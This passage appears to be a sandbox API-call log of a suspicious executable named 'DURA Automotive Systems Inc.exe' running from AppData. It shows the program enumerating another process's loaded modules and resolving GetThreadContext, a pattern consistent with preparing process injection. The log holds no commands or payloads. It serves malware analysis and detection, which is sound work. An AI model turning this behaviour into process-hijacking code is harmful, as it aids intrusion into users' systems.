	[0175.241] GetModuleInformation (in: hProcess=0x1e8, hModule=0x74740000, lpmodinfo=0x2690990, cb=0xc | out: lpmodinfo=0x2690990*(lpBaseOfDll=0x74740000, SizeOfImage=0x5ab000, EntryPoint=0x74793dc0)) returned 1
	[0175.241] GetLastError () returned 0xcb
	[0175.242] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x74740000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="mscorwks.dll") returned 0xc
	[0175.242] GetLastError () returned 0xcb
	[0175.242] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x74740000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorwks.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorwks.dll")) returned 0x3a
	[0175.242] GetLastError () returned 0xcb
	[0175.242] GetModuleInformation (in: hProcess=0x1e8, hModule=0x74670000, lpmodinfo=0x2691ac8, cb=0xc | out: lpmodinfo=0x2691ac8*(lpBaseOfDll=0x74670000, SizeOfImage=0x9b000, EntryPoint=0x7467232b)) returned 1
	[0175.243] GetLastError () returned 0xcb
	[0175.243] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x74670000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="MSVCR80.dll") returned 0xb
	[0175.243] GetLastError () returned 0xcb
	[0175.243] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x74670000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_d09154e044272b9a\\MSVCR80.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_d09154e044272b9a\\msvcr80.dll")) returned 0x6a
	[0175.243] GetLastError () returned 0xcb
	[0175.244] GetModuleInformation (in: hProcess=0x1e8, hModule=0x75b00000, lpmodinfo=0x2692c5c, cb=0xc | out: lpmodinfo=0x2692c5c*(lpBaseOfDll=0x75b00000, SizeOfImage=0xc4a000, EntryPoint=0x75b81601)) returned 1
	[0175.244] GetLastError () returned 0xcb
	[0175.244] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x75b00000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="shell32.dll") returned 0xb
	[0175.244] GetLastError () returned 0xcb
	[0175.244] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x75b00000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll")) returned 0x1f
	[0175.245] GetLastError () returned 0xcb
	[0175.245] GetModuleInformation (in: hProcess=0x1e8, hModule=0x75180000, lpmodinfo=0x2693d58, cb=0xc | out: lpmodinfo=0x2693d58*(lpBaseOfDll=0x75180000, SizeOfImage=0x15c000, EntryPoint=0x751cba3d)) returned 1
	[0175.245] GetLastError () returned 0xcb
	[0175.245] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x75180000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="ole32.dll") returned 0x9
	[0175.245] GetLastError () returned 0xcb
	[0175.245] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x75180000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll")) returned 0x1d
	[0175.246] GetLastError () returned 0xcb
	[0175.246] GetModuleInformation (in: hProcess=0x1e8, hModule=0x74d20000, lpmodinfo=0x2694e4c, cb=0xc | out: lpmodinfo=0x2694e4c*(lpBaseOfDll=0x74d20000, SizeOfImage=0xb000, EntryPoint=0x74d21992)) returned 1
	[0175.246] GetLastError () returned 0xcb
	[0175.246] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x74d20000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="profapi.dll") returned 0xb
	[0175.247] GetLastError () returned 0xcb
	[0175.247] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x74d20000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll")) returned 0x1f
	[0175.247] GetLastError () returned 0xcb
	[0175.247] GetModuleInformation (in: hProcess=0x1e8, hModule=0x72be0000, lpmodinfo=0x2695f48, cb=0xc | out: lpmodinfo=0x2695f48*(lpBaseOfDll=0x72be0000, SizeOfImage=0xaf8000, EntryPoint=0x0)) returned 1
	[0175.247] GetLastError () returned 0xcb
	[0175.247] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x72be0000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="mscorlib.ni.dll") returned 0xf
	[0175.248] GetLastError () returned 0xcb
	[0175.248] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x72be0000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll")) returned 0x68
	[0175.248] GetLastError () returned 0xcb
	[0175.248] GetModuleInformation (in: hProcess=0x1e8, hModule=0x745f0000, lpmodinfo=0x26970e0, cb=0xc | out: lpmodinfo=0x26970e0*(lpBaseOfDll=0x745f0000, SizeOfImage=0x80000, EntryPoint=0x746037c9)) returned 1
	[0175.249] GetLastError () returned 0xcb
	[0175.249] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x745f0000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="uxtheme.dll") returned 0xb
	[0175.249] GetLastError () returned 0xcb
	[0175.249] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x745f0000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll")) returned 0x1f
	[0175.250] GetLastError () returned 0xcb
	[0175.250] GetModuleInformation (in: hProcess=0x1e8, hModule=0x74450000, lpmodinfo=0x26981dc, cb=0xc | out: lpmodinfo=0x26981dc*(lpBaseOfDll=0x74450000, SizeOfImage=0x5b000, EntryPoint=0x74494d48)) returned 1
	[0175.250] GetLastError () returned 0xcb
	[0175.250] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x74450000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="mscorjit.dll") returned 0xc
	[0175.251] GetLastError () returned 0xcb
	[0175.251] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x74450000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorjit.dll")) returned 0x3a
	[0175.251] GetLastError () returned 0xcb
	[0175.251] GetModuleInformation (in: hProcess=0x1e8, hModule=0x73cb0000, lpmodinfo=0x2699314, cb=0xc | out: lpmodinfo=0x2699314*(lpBaseOfDll=0x73cb0000, SizeOfImage=0x79c000, EntryPoint=0x0)) returned 1
	[0175.251] GetLastError () returned 0xcb
	[0175.252] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x73cb0000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="System.ni.dll") returned 0xd
	[0175.252] GetLastError () returned 0xcb
	[0175.252] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x73cb0000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system\\9e0a3b9b9f457233a335d7fba8f95419\\system.ni.dll")) returned 0x64
	[0175.252] GetLastError () returned 0xcb
	[0175.252] GetModuleInformation (in: hProcess=0x1e8, hModule=0x73b10000, lpmodinfo=0x269a4a0, cb=0xc | out: lpmodinfo=0x269a4a0*(lpBaseOfDll=0x73b10000, SizeOfImage=0x19b000, EntryPoint=0x0)) returned 1
	[0175.253] GetLastError () returned 0xcb
	[0175.253] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x73b10000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="Microsoft.VisualBasic.ni.dll") returned 0x1c
	[0175.253] GetLastError () returned 0xcb
	[0175.253] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x73b10000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualBas#\\08d608378aa405adc844f3cf36974b8c\\Microsoft.VisualBasic.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\microsoft.visualbas#\\08d608378aa405adc844f3cf36974b8c\\microsoft.visualbasic.ni.dll")) returned 0x81
	[0175.254] GetLastError () returned 0xcb
	[0175.254] GetModuleInformation (in: hProcess=0x1e8, hModule=0x750f0000, lpmodinfo=0x269b684, cb=0xc | out: lpmodinfo=0x269b684*(lpBaseOfDll=0x750f0000, SizeOfImage=0x5000, EntryPoint=0x750f1438)) returned 1
	[0175.254] GetLastError () returned 0xcb
	[0175.254] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x750f0000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="psapi.dll") returned 0x9
	[0175.255] GetLastError () returned 0xcb
	[0175.255] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x750f0000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\psapi.dll" (normalized: "c:\\windows\\syswow64\\psapi.dll")) returned 0x1d
	[0175.255] GetLastError () returned 0xcb
	[0175.255] CloseHandle (hObject=0x1e8) returned 1
	[0175.255] GetLastError () returned 0xcb
	[0175.258] CoCreateGuid (in: pguid=0x33d1b4 | out: pguid=0x33d1b4*(Data1=0x96beaa8d, Data2=0xaadd, Data3=0x487f, Data4=([0]=0x92, [1]=0x58, [2]=0xa3, [3]=0x85, [4]=0xce, [5]=0x64, [6]=0x60, [7]=0x7b))) returned 0x0
	[0175.263] CoCreateGuid (in: pguid=0x33d718 | out: pguid=0x33d718*(Data1=0x95d381ea, Data2=0x7787, Data3=0x4c54, Data4=([0]=0xab, [1]=0x2c, [2]=0xf7, [3]=0x7a, [4]=0xcc, [5]=0x6e, [6]=0x3f, [7]=0xcf))) returned 0x0
	[0175.270] GetProcAddress (hModule=0x75960000, lpProcName="GetThreadContext") returned 0x759979d4
	[0175.271] EnumProcessModules (in: hProcess=0x1e8, lphModule=0x26a7dbc, cb=0x100, lpcbNeeded=0x33dec4 | out: lphModule=0x26a7dbc, lpcbNeeded=0x33dec4) returned 1
	[0175.271] GetLastError () returned 0xcb
	[0175.271] GetModuleInformation (in: hProcess=0x1e8, hModule=0xb0000, lpmodinfo=0x26a7efc, cb=0xc | out: lpmodinfo=0x26a7efc*(lpBaseOfDll=0xb0000, SizeOfImage=0x40000, EntryPoint=0xe80ce)) returned 1
	[0175.271] GetLastError () returned 0xcb
	[0175.271] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0xb0000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="DURA Automotive Systems Inc.exe") returned 0x1f
	[0175.271] GetLastError () returned 0xcb
	[0175.271] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0xb0000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\DURA Automotive Systems Inc\\DURA Automotive Systems Inc.exe" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\dura automotive systems inc\\dura automotive systems inc.exe")) returned 0x5d
	[0175.272] GetLastError () returned 0xcb
	[0175.272] GetModuleInformation (in: hProcess=0x1e8, hModule=0x77230000, lpmodinfo=0x26a90bc, cb=0xc | out: lpmodinfo=0x26a90bc*(lpBaseOfDll=0x77230000, SizeOfImage=0x180000, EntryPoint=0x0)) returned 1
	[0175.272] GetLastError () returned 0xcb
	[0175.272] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x77230000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="ntdll.dll") returned 0x9
	[0175.272] GetLastError () returned 0xcb
	[0175.272] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x77230000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll")) returned 0x1d
	[0175.272] GetLastError () returned 0xcb
	[0175.272] GetModuleInformation (in: hProcess=0x1e8, hModule=0x73910000, lpmodinfo=0x26aa1b0, cb=0xc | out: lpmodinfo=0x26aa1b0*(lpBaseOfDll=0x73910000, SizeOfImage=0x4a000, EntryPoint=0x73912e54)) returned 1
	[0175.272] GetLastError () returned 0xcb
	[0175.272] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x73910000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="MSCOREE.DLL") returned 0xb
	[0175.272] GetLastError () returned 0xcb
	[0175.272] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x73910000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\SYSTEM32\\MSCOREE.DLL" (normalized: "c:\\windows\\system32\\mscoree.dll")) returned 0x1f
	[0175.272] GetLastError () returned 0xcb
	[0175.272] GetModuleInformation (in: hProcess=0x1e8, hModule=0x75960000, lpmodinfo=0x26ab2ac, cb=0xc | out: lpmodinfo=0x26ab2ac*(lpBaseOfDll=0x75960000, SizeOfImage=0x110000, EntryPoint=0x759732d3)) returned 1
	[0175.273] GetLastError () returned 0xcb
	[0175.273] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x75960000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="KERNEL32.dll") returned 0xc
	[0175.273] GetLastError () returned 0xcb
	[0175.273] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x75960000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNEL32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll")) returned 0x20
	[0175.273] GetLastError () returned 0xcb
	[0175.273] GetModuleInformation (in: hProcess=0x1e8, hModule=0x768a0000, lpmodinfo=0x26ac3b0, cb=0xc | out: lpmodinfo=0x26ac3b0*(lpBaseOfDll=0x768a0000, SizeOfImage=0x46000, EntryPoint=0x768a7478)) returned 1
	[0175.273] GetLastError () returned 0xcb
	[0175.273] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x768a0000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="KERNELBASE.dll") returned 0xe
	[0175.273] GetLastError () returned 0xcb
	[0175.273] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x768a0000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNELBASE.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll")) returned 0x22
	[0175.273] GetLastError () returned 0xcb
	[0175.273] GetModuleInformation (in: hProcess=0x1e8, hModule=0x75690000, lpmodinfo=0x26ad4ec, cb=0xc | out: lpmodinfo=0x26ad4ec*(lpBaseOfDll=0x75690000, SizeOfImage=0xa0000, EntryPoint=0x756a49e5)) returned 1
	[0175.274] GetLastError () returned 0xcb
	[0175.274] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x75690000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="ADVAPI32.dll") returned 0xc
	[0175.274] GetLastError () returned 0xcb
	[0175.274] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x75690000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ADVAPI32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll")) returned 0x20
	[0175.274] GetLastError () returned 0xcb
	[0175.274] GetModuleInformation (in: hProcess=0x1e8, hModule=0x755e0000, lpmodinfo=0x26ae5f0, cb=0xc | out: lpmodinfo=0x26ae5f0*(lpBaseOfDll=0x755e0000, SizeOfImage=0xac000, EntryPoint=0x755ea472)) returned 1
	[0175.274] GetLastError () returned 0xcb
	[0175.274] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x755e0000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="msvcrt.dll") returned 0xa
	[0175.274] GetLastError () returned 0xcb
	[0175.274] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x755e0000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll")) returned 0x1e
	[0175.274] GetLastError () returned 0xcb
	[0175.274] GetModuleInformation (in: hProcess=0x1e8, hModule=0x767f0000, lpmodinfo=0x26af6ec, cb=0xc | out: lpmodinfo=0x26af6ec*(lpBaseOfDll=0x767f0000, SizeOfImage=0x19000, EntryPoint=0x767f4975)) returned 1
	[0175.275] GetLastError () returned 0xcb
	[0175.275] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x767f0000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="sechost.dll") returned 0xb
	[0175.275] GetLastError () returned 0xcb
	[0175.275] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x767f0000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll")) returned 0x1f
	[0175.275] GetLastError () returned 0xcb
	[0175.275] GetModuleInformation (in: hProcess=0x1e8, hModule=0x74ec0000, lpmodinfo=0x26b07e8, cb=0xc | out: lpmodinfo=0x26b07e8*(lpBaseOfDll=0x74ec0000, SizeOfImage=0xf0000, EntryPoint=0x74ed0569)) returned 1
	[0175.275] GetLastError () returned 0xcb
	[0175.275] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x74ec0000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="RPCRT4.dll") returned 0xa
	[0175.275] GetLastError () returned 0xcb
	[0175.280] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x74ec0000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\RPCRT4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll")) returned 0x1e
	[0175.280] GetLastError () returned 0xcb
	[0175.280] GetModuleInformation (in: hProcess=0x1e8, hModule=0x74d90000, lpmodinfo=0x24d2aa8, cb=0xc | out: lpmodinfo=0x24d2aa8*(lpBaseOfDll=0x74d90000, SizeOfImage=0x60000, EntryPoint=0x74daa3b3)) returned 1
	[0175.280] GetLastError () returned 0xcb
	[0175.280] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x74d90000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="SspiCli.dll") returned 0xb
	[0175.281] GetLastError () returned 0xcb
	[0175.281] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x74d90000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SspiCli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll")) returned 0x1f
	[0175.281] GetLastError () returned 0xcb
	[0175.281] GetModuleInformation (in: hProcess=0x1e8, hModule=0x74d80000, lpmodinfo=0x24d3ba4, cb=0xc | out: lpmodinfo=0x24d3ba4*(lpBaseOfDll=0x74d80000, SizeOfImage=0xc000, EntryPoint=0x74d810e1)) returned 1
	[0175.281] GetLastError () returned 0xcb
	[0175.281] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x74d80000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="CRYPTBASE.dll") returned 0xd
	[0175.281] GetLastError () returned 0xcb
	[0175.281] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x74d80000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\CRYPTBASE.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll")) returned 0x21
	[0175.282] GetLastError () returned 0xcb
	[0175.282] GetModuleInformation (in: hProcess=0x1e8, hModule=0x736f0000, lpmodinfo=0x24d4ca8, cb=0xc | out: lpmodinfo=0x24d4ca8*(lpBaseOfDll=0x736f0000, SizeOfImage=0x7a000, EntryPoint=0x736f1f48)) returned 1
	[0175.282] GetLastError () returned 0xcb
	[0175.282] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x736f0000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="mscoreei.dll") returned 0xc
	[0175.282] GetLastError () returned 0xcb
	[0175.282] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x736f0000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscoreei.dll")) returned 0x3a
	[0175.282] GetLastError () returned 0xcb
	[0175.283] GetModuleInformation (in: hProcess=0x1e8, hModule=0x76bd0000, lpmodinfo=0x24d5de0, cb=0xc | out: lpmodinfo=0x24d5de0*(lpBaseOfDll=0x76bd0000, SizeOfImage=0x57000, EntryPoint=0x76be9ba6)) returned 1
	[0175.283] GetLastError () returned 0xcb
	[0175.283] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x76bd0000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="SHLWAPI.dll") returned 0xb
	[0175.283] GetLastError () returned 0xcb
	[0175.283] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x76bd0000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SHLWAPI.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll")) returned 0x1f
	[0175.283] GetLastError () returned 0xcb
	[0175.283] GetModuleInformation (in: hProcess=0x1e8, hModule=0x758d0000, lpmodinfo=0x24d6edc, cb=0xc | out: lpmodinfo=0x24d6edc*(lpBaseOfDll=0x758d0000, SizeOfImage=0x90000, EntryPoint=0x758e6343)) returned 1
	[0175.284] GetLastError () returned 0xcb
	[0175.284] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x758d0000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="GDI32.dll") returned 0x9
	[0175.284] GetLastError () returned 0xcb
	[0175.284] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x758d0000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\GDI32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll")) returned 0x1d
	[0175.284] GetLastError () returned 0xcb
	[0175.284] GetModuleInformation (in: hProcess=0x1e8, hModule=0x76ad0000, lpmodinfo=0x24d7fd0, cb=0xc | out: lpmodinfo=0x24d7fd0*(lpBaseOfDll=0x76ad0000, SizeOfImage=0x100000, EntryPoint=0x76aeb6ed)) returned 1
	[0175.284] GetLastError () returned 0xcb
	[0175.284] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x76ad0000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="USER32.dll") returned 0xa
	[0175.285] GetLastError () returned 0xcb
	[0175.285] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x76ad0000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USER32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll")) returned 0x1e
	[0175.285] GetLastError () returned 0xcb
	[0175.285] GetModuleInformation (in: hProcess=0x1e8, hModule=0x75830000, lpmodinfo=0x24d90cc, cb=0xc | out: lpmodinfo=0x24d90cc*(lpBaseOfDll=0x75830000, SizeOfImage=0xa000, EntryPoint=0x758336a0)) returned 1
	[0175.286] GetLastError () returned 0xcb
	[0175.286] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x75830000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="LPK.dll") returned 0x7
	[0175.286] GetLastError () returned 0xcb
	[0175.286] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x75830000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\LPK.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll")) returned 0x1b
	[0175.286] GetLastError () returned 0xcb
	[0175.286] GetModuleInformation (in: hProcess=0x1e8, hModule=0x75790000, lpmodinfo=0x24da1b8, cb=0xc | out: lpmodinfo=0x24da1b8*(lpBaseOfDll=0x75790000, SizeOfImage=0x9d000, EntryPoint=0x757c3fd7)) returned 1
	[0175.287] GetLastError () returned 0xcb
	[0175.287] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x75790000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="USP10.dll") returned 0x9
	[0175.287] GetLastError () returned 0xcb
	[0175.287] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x75790000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USP10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll")) returned 0x1d
	[0175.288] GetLastError () returned 0xcb
	[0175.288] GetModuleInformation (in: hProcess=0x1e8, hModule=0x75730000, lpmodinfo=0x24db33c, cb=0xc | out: lpmodinfo=0x24db33c*(lpBaseOfDll=0x75730000, SizeOfImage=0x60000, EntryPoint=0x7574158f)) returned 1
	[0175.288] GetLastError () returned 0xcb
	[0175.288] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x75730000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="IMM32.DLL") returned 0x9
	[0175.288] GetLastError () returned 0xcb
	[0175.289] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x75730000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\IMM32.DLL" (normalized: "c:\\windows\\system32\\imm32.dll")) returned 0x1d
	[0175.289] GetLastError () returned 0xcb
	[0175.289] GetModuleInformation (in: hProcess=0x1e8, hModule=0x74df0000, lpmodinfo=0x24dc430, cb=0xc | out: lpmodinfo=0x24dc430*(lpBaseOfDll=0x74df0000, SizeOfImage=0xcc000, EntryPoint=0x74df168b)) returned 1
	[0175.289] GetLastError () returned 0xcb
	[0175.289] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x74df0000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="MSCTF.dll") returned 0x9
	[0175.290] GetLastError () returned 0xcb
	[0175.290] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x74df0000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\MSCTF.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll")) returned 0x1d
	[0175.290] GetLastError () returned 0xcb
	[0175.290] GetModuleInformation (in: hProcess=0x1e8, hModule=0x74740000, lpmodinfo=0x24dd524, cb=0xc | out: lpmodinfo=0x24dd524*(lpBaseOfDll=0x74740000, SizeOfImage=0x5ab000, EntryPoint=0x74793dc0)) returned 1
	[0175.291] GetLastError () returned 0xcb
	[0175.291] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x74740000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="mscorwks.dll") returned 0xc
	[0175.291] GetLastError () returned 0xcb
	[0175.291] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x74740000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorwks.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorwks.dll")) returned 0x3a
	[0175.292] GetLastError () returned 0xcb
	[0175.292] GetModuleInformation (in: hProcess=0x1e8, hModule=0x74670000, lpmodinfo=0x24de65c, cb=0xc | out: lpmodinfo=0x24de65c*(lpBaseOfDll=0x74670000, SizeOfImage=0x9b000, EntryPoint=0x7467232b)) returned 1
	[0175.292] GetLastError () returned 0xcb
	[0175.292] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x74670000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="MSVCR80.dll") returned 0xb
	[0175.293] GetLastError () returned 0xcb
	[0175.293] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x74670000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_d09154e044272b9a\\MSVCR80.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_d09154e044272b9a\\msvcr80.dll")) returned 0x6a
	[0175.293] GetLastError () returned 0xcb
	[0175.293] GetModuleInformation (in: hProcess=0x1e8, hModule=0x75b00000, lpmodinfo=0x24df7f0, cb=0xc | out: lpmodinfo=0x24df7f0*(lpBaseOfDll=0x75b00000, SizeOfImage=0xc4a000, EntryPoint=0x75b81601)) returned 1
	[0175.294] GetLastError () returned 0xcb
	[0175.294] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x75b00000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="shell32.dll") returned 0xb
